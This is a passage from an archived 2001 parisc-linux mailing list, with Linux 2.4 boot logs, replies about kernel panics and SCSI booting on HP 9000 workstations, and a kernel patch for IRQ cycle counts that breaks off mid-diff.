Segment 4 load 00323a48 size 75904 mediaptr 0x1dba48
branching to kernel entry point 0x00100000
PDC Console Initialized
Linux version 2.4.0 (debackex@pc5158a) (gcc version 2.97 20010203
(experimental)) #6 Mon May 14 14:37:01 CEST 2001
FP[0] enabled: Rev 3 Model 0
The 32-bit Kernel has started...
Determining PDC firmware type: Older Legacy Box
setup_cmdline(0x64d58,0x64d58,0x0,0x0)
PALO command line: 'ROOT=/ TERM=linux root=/dev/scd0 console=ttyS0
ramdisk=8192'
PALO initrd 0-0
model   00003000 00000481 00000000 00000000 00000000 00000000 00000004
0000000d 00000000
vers    00000003
CPUID   vers 0 rev 0
model   9000/710
Total Memory: 64 Mb
initrd: 00000000-00000000
pagetable_init
On node 0 totalpages: 16384
zone(0): 16384 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Searching for devices...
Found devices:
1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
0x77, 0x0, 0x0
2. Bushmaster Core BA (11) at 0xf082f000, versions 0x6, 0x0, 0x70, 0x0,
0x0
3. Bushmaster Core SCSI (10) at 0xf0825000, versions 0x6, 0x0, 0x71,
0x0, 0x0
4. Bushmaster Core LAN (802.3) (10) at 0xf0826000, versions 0x6, 0x0,
0x72, 0x0, 0x0
5. Bushmaster Core HIL (10) at 0xf0821000, versions 0x6, 0x0, 0x73, 0x0,
0x0
6. Bushmaster Core RS-232 (10) at 0xf0823000, versions 0x6, 0x0, 0x75,
0x0, 0x0
7. Bushmaster Core RS-232 (10) at 0xf0822000, versions 0x6, 0x0, 0x75,
0x0, 0x0
8. Bushmaster Core Centronics (10) at 0xf0824000, versions 0x6, 0x0,
0x74, 0x0, 0x0
9. Bushmaster Audio (10) at 0xf1000000, versions 0x6, 0x0, 0x7a, 0x0,
0x0
10. Bushmaster (710) (0) at 0xfffbe000, versions 0x300, 0x0, 0x4, 0x0,
0x81
11. Bushmaster (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0
That's a total of 11 devices.
CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
Kernel command line: ROOT=/ TERM=linux root=/dev/scd0 console=ttyS0
ramdisk=8192
Error reading tod clock
Calibrating delay loop... 49.76 BogoMIPS
Memory: 62044k available
Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
POSIX conformance testing by UNIFIX
ASP version 1 at 0xf0800000 found.
LED (ASP-style) display at f0800020 registered
Found HIL at 0xf0821000, IRQ 94
HIL: timed out, assuming no keyboard present.
Warning : device (10, 0x6, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715
or similiar
Found i82596 at 0xf0826000, IRQ 87
early initialization of device eth0 is deferred
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
pty: 256 Unix98 ptys configured
lp: driver loaded but no devices found
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
82596.c: MAC of HP700 LAN blindely read from the prom!
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 8C CD 84 IRQ 87.
82596.c $Revision: 1.17 $
Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
SERIAL_PCI enabled
ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
lp0: using parport0 (interrupt-driven).
SCSI subsystem driver Revision: 1.00
sim700: Couldn't get consistent shared memory
sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
scsi0: Revision 0x0
Post test1, istat 05, sstat0 00, dstat 84
sim700: WARNING IRQ probe failed, (returned 0)
scsi0: WARNING: target data areas are not dma coherent!
scsi0: test 1 completed ok.
scsi0 : LASI/Simple 53c7xx
scsi0: Unable to abort command for target 0
scsi0: Unable to send Bus Device Reset for target 0
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 1
scsi0: Unable to send Bus Device Reset for target 1
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 2
scsi0: Unable to send Bus Device Reset for target 2
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 3
scsi0: Unable to send Bus Device Reset for target 3
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 4
scsi0: Unable to send Bus Device Reset for target 4
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 5
scsi0: Unable to send Bus Device Reset for target 5
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
scsi0: Unable to abort command for target 6
scsi0: Unable to send Bus Device Reset for target 6
scsi0: Unable to do SCSI bus reset
scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
scsi0: could not halt NCR chip, stage 0
linear personality registered
raid0 personality registered
raid1 personality registered
raid5 personality registered
raid5: measuring checksumming speed
 8regs          :    34.671 MB/sec
 8regs_prefetch :    40.767 MB/sec
 32regs         :    32.004 MB/sec
 32regs_prefetch:    41.148 MB/sec
raid5: using function: 32regs_prefetch (41.148 MB/sec)
md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md.c: sizeof(mdp_super_t) = 4096
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP
IP: routing cache hash table of 512 buckets, 4Kbytes
TCP: Hash tables configured (established 4096 bind 4096)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
VFS: Cannot open root device "scd0" or 0b:00
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on 0b:00



--
        Jan Heumann

  .~.
  /V\
/( : )\
 ^^ ^^







From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Samba autobuild
Date: Fri, 18 May 2001 17:01:28 +0100
Lines: 10
Approved: news@gmane.org
Message-ID: <20010518170128.K13481@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620126 19428 80.91.229.3 (22 Nov 2014 01:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:26 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 18 10:02:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DD48482A
	for <parisc-linux@parisc-linux.org>; Fri, 18 May 2001 10:02:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 150mgy-0003EI-00
	for parisc-linux@parisc-linux.org; Fri, 18 May 2001 17:01:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11072

FYI, I've set up a samba autobuilder on a 712/80 here; you can monitor its
progress on http://build.samba.org/.  after a couple of teething problems
(i forgot to install libpam-dev), we're up and running with the rest.
we have fewer warnings than most, which makes me happy.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Buttafuoco" <jim@buttafuoco.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux 0.6.1 on HP 9000 710, kernel cant find the cd-rom
Date: Fri, 18 May 2001 15:17:20 -0400
Lines: 267
Approved: news@gmane.org
Message-ID: <200105181917.PAA22618@p2.buttafuoco.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
X-Trace: ger.gmane.org 1416620126 19430 80.91.229.3 (22 Nov 2014 01:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:26 +0000 (UTC)
To: Jan Heumann <jheumann@fonts.de>, parisc-linux@thepuffingroup.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 18 13:17:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7BD7C482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 May 2001 13:17:48 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA27980
	for <parisc-linux@puffin.external.hp.com>; Fri, 18 May 2001 13:10:44 -0600
Original-Received: (qmail 29321 invoked by uid 15267); 18 May 2001 19:17:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 29112 invoked from network); 18 May 2001 19:17:23 -0000
Original-Received: from buttafuoco.mv.com (HELO p2.buttafuoco.net) (207.22.43.121)
  by mailserv2.iuinc.com with SMTP; 18 May 2001 19:17:23 -0000
Original-Received: (from nobody@localhost)
	by p2.buttafuoco.net (8.9.3/8.9.3) id PAA22618;
	Fri, 18 May 2001 15:17:20 -0400
X-Authentication-Warning: p2.buttafuoco.net: nobody set sender to jim@buttafuoco.org using -f
X-Mailer: NeoMail 1.24
X-IPAddress: 207.22.43.154
Xref: news.gmane.org gmane.linux.ports.parisc:11073

Jan,

Currently the 710 is not supported.  There seems to be a problem with
the interrupt controller.  (Correct me if I am wrong.)  I try to get my
710 to boot every week or so and NO go.  You can get a complete history
of my problems via the mail archives
 
Jim

> Hi,
> 
> ich habe auf mehreren HP 9000 710 50MHz die 0.6.1 PA-RISC ISO
getestet.
> Jedesmal kann das CD-Laufwerk vom Kernel nicht gefunden werden. Ist
dies
> noch ein Bug im NCR53c7xx LASI Treiber bzw. ist es bereits behoben?
> 
> I have just tested the 0.6.1 PA-RISC ISO on several HP 9000 710 with
50
> MHZ. The Kernel is always unable to find the CD-Rom. Is this a bug
> within the NCR53c7xx, or am I missing something? Is there a patch/fix?
> 
> Here is a copy of the boot log:
> 
> Hier das Boot-Log:
> 
> (c) Copyright.  Hewlett-Packard Company.  1991.
> All rights reserved.
> 
> PDC ROM rev. 2.0
> IODC ROM rev. 2.0
> 64 MB of memory configured and tested.
> 
> 
> Selecting a system to boot.
> To stop selection process, press and hold the ESCAPE key.
> 
> Selection process stopped.
> 
> Searching for Potential Boot Devices.
> To terminate search, press and hold the ESCAPE key.
> 
> Search terminated.
> 
> 
> 
> b)    Boot from specified device
> s)    Search for bootable devices
> a)    Enter Boot Administration mode
> x)    Exit and continue boot sequence
> ?)    Help
> 
> Select from menu: a
> BOOT_ADMIN> info
> ----------------------------- Hardware Configuration
> ------------------------
> 
> Machine model: 9000/710
> 
> Processor Frequency        = 50000000 Hz
> I/O Subsystem Frequency    = 25000000 Hz
> 
> LAN Jumper Status: External AUI Port selected
> 
> Processor Revision                  = 3
> System Controller Revision          = 0
> Floating Point Coprocessor Revision = 3
> 
> Hardware Version            12288     (0x00003000)
> Software Version             1153     (0x00000481)
> 
> BOOT_ADMIN> boot scsi.4.0
> 
> Trying scsi.4.0
> Boot path initialized.
> Attempting to load IPL.
> 
> Hard booted.
> palo ipl debackex@pc5158a Wed Apr 11 17:56:43 CEST 2001
> 0/vmlinux 2619890 bytes @ 0x4fc000
> 0/palo-cmdline '0/vmlinux ROOT=/ TERM=linux root=/dev/scd0
console=ttyS0
> ramdisk=8192'
> Kernel: partition 0 file /vmlinux
> ELF32 executable
> Entry 00100000 first 00100000 n 5
> Segment 0 load 00100000 size 1530128 mediaptr 0x1000
> Segment 1 load 00276000 size 182408 mediaptr 0x177000
> Segment 2 load 002a4000 size 212996 mediaptr 0x1a4000
> Segment 3 load 002dc000 size 8192 mediaptr 0x1d9000
> Segment 4 load 00323a48 size 75904 mediaptr 0x1dba48
> branching to kernel entry point 0x00100000
> PDC Console Initialized
> Linux version 2.4.0 (debackex@pc5158a) (gcc version 2.97 20010203
> (experimental)) #6 Mon May 14 14:37:01 CEST 2001
> FP[0] enabled: Rev 3 Model 0
> The 32-bit Kernel has started...
> Determining PDC firmware type: Older Legacy Box
> setup_cmdline(0x64d58,0x64d58,0x0,0x0)
> PALO command line: 'ROOT=/ TERM=linux root=/dev/scd0 console=ttyS0
> ramdisk=8192'
> PALO initrd 0-0
> model   00003000 00000481 00000000 00000000 00000000 00000000 00000004
> 0000000d 00000000
> vers    00000003
> CPUID   vers 0 rev 0
> model   9000/710
> Total Memory: 64 Mb
> initrd: 00000000-00000000
> pagetable_init
> On node 0 totalpages: 16384
> zone(0): 16384 pages.
> zone(1): 0 pages.
> zone(2): 0 pages.
> Searching for devices...
> Found devices:
> 1. Stinger Optional Graphics (10) at 0xf4000000, versions 0x6, 0x0,
> 0x77, 0x0, 0x0
> 2. Bushmaster Core BA (11) at 0xf082f000, versions 0x6, 0x0, 0x70,
0x0,
> 0x0
> 3. Bushmaster Core SCSI (10) at 0xf0825000, versions 0x6, 0x0, 0x71,
> 0x0, 0x0
> 4. Bushmaster Core LAN (802.3) (10) at 0xf0826000, versions 0x6, 0x0,
> 0x72, 0x0, 0x0
> 5. Bushmaster Core HIL (10) at 0xf0821000, versions 0x6, 0x0, 0x73,
0x0,
> 0x0
> 6. Bushmaster Core RS-232 (10) at 0xf0823000, versions 0x6, 0x0, 0x75,
> 0x0, 0x0
> 7. Bushmaster Core RS-232 (10) at 0xf0822000, versions 0x6, 0x0, 0x75,
> 0x0, 0x0
> 8. Bushmaster Core Centronics (10) at 0xf0824000, versions 0x6, 0x0,
> 0x74, 0x0, 0x0
> 9. Bushmaster Audio (10) at 0xf1000000, versions 0x6, 0x0, 0x7a, 0x0,
> 0x0
> 10. Bushmaster (710) (0) at 0xfffbe000, versions 0x300, 0x0, 0x4, 0x0,
> 0x81
> 11. Bushmaster (1) at 0xfffbf000, versions 0x16, 0x0, 0x9, 0x0, 0x0
> That's a total of 11 devices.
> CPU(s): 1 x PA7000 (PCX-S) at 50.000000 MHz
> Kernel command line: ROOT=/ TERM=linux root=/dev/scd0 console=ttyS0
> ramdisk=8192
> Error reading tod clock
> Calibrating delay loop... 49.76 BogoMIPS
> Memory: 62044k available
> Dentry-cache hash table entries: 8192 (order: 4, 65536 bytes)
> Buffer-cache hash table entries: 1024 (order: 0, 4096 bytes)
> Page-cache hash table entries: 16384 (order: 4, 65536 bytes)
> Inode-cache hash table entries: 4096 (order: 3, 32768 bytes)
> POSIX conformance testing by UNIFIX
> ASP version 1 at 0xf0800000 found.
> LED (ASP-style) display at f0800020 registered
> Found HIL at 0xf0821000, IRQ 94
> HIL: timed out, assuming no keyboard present.
> Warning : device (10, 0x6, 0x0, 0x73, 0x0) NOT claimed by HIL 712, 715
> or similiar
> Found i82596 at 0xf0826000, IRQ 87
> early initialization of device eth0 is deferred
> Linux NET4.0 for Linux 2.4
> Based upon Swansea University Computer Society NET3.039
> Starting kswapd v1.8
> pty: 256 Unix98 ptys configured
> lp: driver loaded but no devices found
> RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
> 82596.c: MAC of HP700 LAN blindely read from the prom!
> eth0: Couldn't get consistent shared memory
> eth0: 82596 at 0xf0826000, 08 00 09 8C CD 84 IRQ 87.
> 82596.c $Revision: 1.17 $
> Serial driver version 5.02 (2000-08-09) with MANY_PORTS SHARE_IRQ
> SERIAL_PCI enabled
> ttyS00 at iomem 0xf0823800 (irq = 90) is a 16550A
> ttyS01 at iomem 0xf0822800 (irq = 89) is a 16550A
> Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
> parport_init_chip: enhanced parport-modes not supported.
> parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
> lp0: using parport0 (interrupt-driven).
> SCSI subsystem driver Revision: 1.00
> sim700: Couldn't get consistent shared memory
> sim700: Configuring 53c700 (SCSI-ID 7) at f0825100, IRQ 86, options 1
> scsi0: Revision 0x0
> Post test1, istat 05, sstat0 00, dstat 84
> sim700: WARNING IRQ probe failed, (returned 0)
> scsi0: WARNING: target data areas are not dma coherent!
> scsi0: test 1 completed ok.
> scsi0 : LASI/Simple 53c7xx
> scsi0: Unable to abort command for target 0
> scsi0: Unable to send Bus Device Reset for target 0
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> scsi0: Unable to abort command for target 1
> scsi0: Unable to send Bus Device Reset for target 1
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> scsi0: Unable to abort command for target 2
> scsi0: Unable to send Bus Device Reset for target 2
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> scsi0: Unable to abort command for target 3
> scsi0: Unable to send Bus Device Reset for target 3
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> scsi0: Unable to abort command for target 4
> scsi0: Unable to send Bus Device Reset for target 4
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> scsi0: Unable to abort command for target 5
> scsi0: Unable to send Bus Device Reset for target 5
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> scsi0: Unable to abort command for target 6
> scsi0: Unable to send Bus Device Reset for target 6
> scsi0: Unable to do SCSI bus reset
> scsi0: >>>>>>>>>>>> Host reset <<<<<<<<<<<<
> scsi0: could not halt NCR chip, stage 0
> linear personality registered
> raid0 personality registered
> raid1 personality registered
> raid5 personality registered
> raid5: measuring checksumming speed
>  8regs          :    34.671 MB/sec
>  8regs_prefetch :    40.767 MB/sec
>  32regs         :    32.004 MB/sec
>  32regs_prefetch:    41.148 MB/sec
> raid5: using function: 32regs_prefetch (41.148 MB/sec)
> md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
> md.c: sizeof(mdp_super_t) = 4096
> NET4: Linux TCP/IP 1.0 for NET4.0
> IP Protocols: ICMP, UDP, TCP
> IP: routing cache hash table of 512 buckets, 4Kbytes
> TCP: Hash tables configured (established 4096 bind 4096)
> NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
> VFS: Cannot open root device "scd0" or 0b:00
> Please append a correct "root=" boot option
> Kernel panic: VFS: Unable to mount root fs on 0b:00
> 
> 
> 
> --
>         Jan Heumann
> 
>   .~.
>   /V\
> /( : )\
>  ^^ ^^
> 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux
> 
> 






From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems booting 712/100 with 0.6 ISO
Date: Fri, 18 May 2001 14:42:50 -0600
Lines: 30
Approved: news@gmane.org
Message-ID: <200105182042.OAA28517@puffin.external.hp.com>
References: <D29B706549FC12468AC1A06BA08D6E703C6457@CIEXCHANGE.Catalog-international.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620126 19433 80.91.229.3 (22 Nov 2014 01:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Mikkel Lauritsen" <ml@Catalog-international.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 18 14:49:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id F0DC1482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 18 May 2001 14:49:50 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id OAA28517;
	Fri, 18 May 2001 14:42:50 -0600
In-Reply-To: Your message of "Fri, 18 May 2001 09:43:05 +0200."
             <D29B706549FC12468AC1A06BA08D6E703C6457@CIEXCHANGE.Catalog-international.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11074

"Mikkel Lauritsen" wrote:
> > If the disk is bootable it should show up.
> 
> It does. What I'm wondering is if the rather old CD-drive that I'm
> using is somehow unsupported when it comes to booting from it. As I
> mentioned, the original HP drive (which is really a Toshiba 5701)
> doesn't grok the CD, so I'm using another drive instead.

Ok. Some PDC implementations have problems with SCSI devices
that initiate SDTR or WDTR negotiation or don't auto-spin up.
It's called "Target Initiated Negotiations" in the IBM literature
I recently looked at.
Check the jumpers on the device with a product manual in hand.

> > Oh and what Firmware rev do you have on the 712/100?
> > (hint: FAQ at www.parisc-linux.org explains PDC updates)
> 
> 2.3, which would appear to be the newest, judging from the list at
> HP.

Yes it is.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] IRQ cycle counts
Date: Sat, 19 May 2001 18:39:19 -0600
Lines: 186
Approved: news@gmane.org
Message-ID: <200105200039.SAA07638@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620127 19435 80.91.229.3 (22 Nov 2014 01:35:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 19 18:46:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 96A52482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 19 May 2001 18:46:17 -0600 (MDT)
Original-Received: (from grundler@localhost)
	by puffin.external.hp.com (8.9.3/8.9.3) id SAA07638
	for parisc-linux@lists.parisc-linux.org; Sat, 19 May 2001 18:39:19 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:11075

Hi!

The patch basically enables one to see min/avg/max cycle counts for the
256 most recent invocations for a given Interrupt handler. See the
sample output at the bottom.

The goal of dumping the min/avg/max cycle counts is two fold:
a) measure CPU IRQ load and later for IRQ "load" balancing.
   Unlike x86 or IA64, on SMP PARISC boxes the IRQ gets processed
   on the same CPU once the IRQ handling is initialized.
   More on this below.

b) Device Driver writers can precisely determine if changes are helping
  or hurting IRQ performance at a low level.  I.E. they can tune their
  code to have fewer branches, cachline misses, PIO (eg inb()) and see
  the results easily. This type of tuning helps all arches.

I'm posting this patch here (vs pairsc-linux-cvs) for discussion to
resolve several issues that I didn't feel I have good answers for:

1) Should this always be enabled? Or only via CONFIG_PARISC_IRQ_CYCLE_COUNTS?
   This is critical only because I have a change in an arch generic file.
   (include/linux/interrupt.h) I believe this instrumentation is very
   "light weight" - but it's optional and irrelevant to most users.
   And I don't know which other arches have similar cycle counting
   functionality.

2) How should CONFIG_SMP change the output?

   CONFIG_SMP changes the /proc/interrupts output to show "per CPU" IRQ
   counts (not cycle counts).  However, unlike x86 or IA64, PARISC arch
   always points the IRQ to the same CPU once it's initialized (under SW
   control, it could be moved later but we haven't implemented that yet).
   The IRQ load can *only* be distributed by assigning different "agents"
   (eg IO Sapic input IRQ line) to a different CPU (see bug #57).  In short,
   only one CPU will have a non-zero count.

   We could use the space for min/avg/max cycle counts. But I don't know
   if user tools consume /proc/interrupts directly for munging and if output
   is "architected".  Thoughts on that?

   Oh - and the CONFIG_SMP output format doesn't "scale" well beyond
   4 or so CPUs on an 80char wide xterm since it tries to put it all on
   one line. I could make the xterm wider but eventually we hit a limit.

2) How to display shared IRQ line data for both sym53c8xx handlers?
   Sample output below only shows the first one (I think) for IRQ #130.
   Data for both handlers is collected.

3) Format of /proc/interrupts : "%6d/%6d/%6d" for min/avg/max ok?
   I'm not too happy with "%6d/" stuff and looking for better ideas.

   Note that /proc/interrupt looks different for systems with
   Dino (GSCtoPCI) or GSC devices (eg Zalon SCSI). There are fewer
   entries in the "PA-CPU-00" "level".

   I made the exist format by modeling it after x86 as best I could.
   min/avg/max cycle counts really break that.


thanks,
grant

------------ Sample output (taken from A500 running my patch) -----------

[ The patch has a "bug" in that it counts *all* entrys in
the history buffer (256 entries) instead of just the non-zero ones.
I'll fix that. I just wanted to get the "output format" discussion
started. ]

grundler@gsyprf11:~$ cat /proc/interrupts 
            IRQ count 
 64:    5600708    660/   740/  6304       PA-CPU-00  timer
 65:     272044   3285/  5102/ 24355       PA-CPU-00  IO-SAPIC00-L0
 66:         30      0/   709/  6707       PA-CPU-00  IO-SAPIC00-L1
 67:          0      0/     0/     0       PA-CPU-00  IO-SAPIC00-L2
 68:         60      0/  1640/ 18089       PA-CPU-00  IO-SAPIC00-L2
 69:      19320   4114/  9050/ 33202       PA-CPU-00  IO-SAPIC00-L3
 70:         10      0/   439/ 14382       PA-CPU-00  IO-SAPIC00-L4
 71:          0      0/     0/     0       PA-CPU-00  IO-SAPIC00-L5
 72:          0      0/     0/     0       PA-CPU-00  IO-SAPIC01-L0
 73:        315   5957/  6768/ 12509       PA-CPU-00  IO-SAPIC02-L0
 74:          0      0/     0/     0       PA-CPU-00  IO-SAPIC02-L1
 75:          0      0/     0/     0       PA-CPU-00  IO-SAPIC02-L2
 76:          0      0/     0/     0       PA-CPU-00  IO-SAPIC02-L3
 77:         70      0/1924923/65678155       PA-CPU-00  IO-SAPIC03-L0
 78:         30      0/   693/  8152       PA-CPU-00  IO-SAPIC03-L1
128:     272044   3193/  4879/ 21878      IO-SAPIC00  eth0
129:         30      0/   698/  6517      IO-SAPIC00  sym53c8xx
130:         60      0/   824/ 16161      IO-SAPIC00  sym53c8xx, sym53c8xx
131:      19320   4030/  8649/ 30999      IO-SAPIC00  sym53c8xx
132:         10      0/   432/ 13772      IO-SAPIC00  serial
256:        315   5758/  6382/ 11331      IO-SAPIC02  eth1
320:         70      0/1924884/65678065      IO-SAPIC03  sym53c8xx
321:         30      0/   679/  7302      IO-SAPIC03  sym53c8xx



Index: include/linux/interrupt.h
===================================================================
RCS file: /home/cvs/parisc/linux/include/linux/interrupt.h,v
retrieving revision 1.5
diff -u -p -r1.5 interrupt.h
--- interrupt.h	2000/08/18 01:53:14	1.5
+++ interrupt.h	2001/05/19 07:12:33
@@ -18,6 +18,14 @@ struct irqaction {
 	const char *name;
 	void *dev_id;
 	struct irqaction *next;
+
+/* HACK: ggg PARISC_IRQ_CR16_COUNTS in arch/parisc/kernel/irq.c */
+#ifdef __hppa__
+#define PARISC_CR16_HIST_SIZE	256
+	/* Only store the delta here - would otherwise need to be long */
+	unsigned int cr16_hist[PARISC_CR16_HIST_SIZE];	/* for avging */
+	unsigned int cr16_idx;
+#endif
 };
 
 
Index: arch/parisc/kernel/irq.c
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/irq.c,v
retrieving revision 1.38
diff -u -p -r1.38 irq.c
--- irq.c	2001/03/31 07:40:10	1.38
+++ irq.c	2001/05/19 07:12:33
@@ -42,6 +42,7 @@
 #include <asm/cache.h>
 
 #undef DEBUG_IRQ
+#define PARISC_IRQ_CR16_COUNTS
 
 extern void timer_interrupt(int, void *, struct pt_regs *);
 #ifdef CONFIG_SMP
@@ -205,6 +206,24 @@ int get_irq_list(char *buf)
 		    p += sprintf(p, "%10u ",
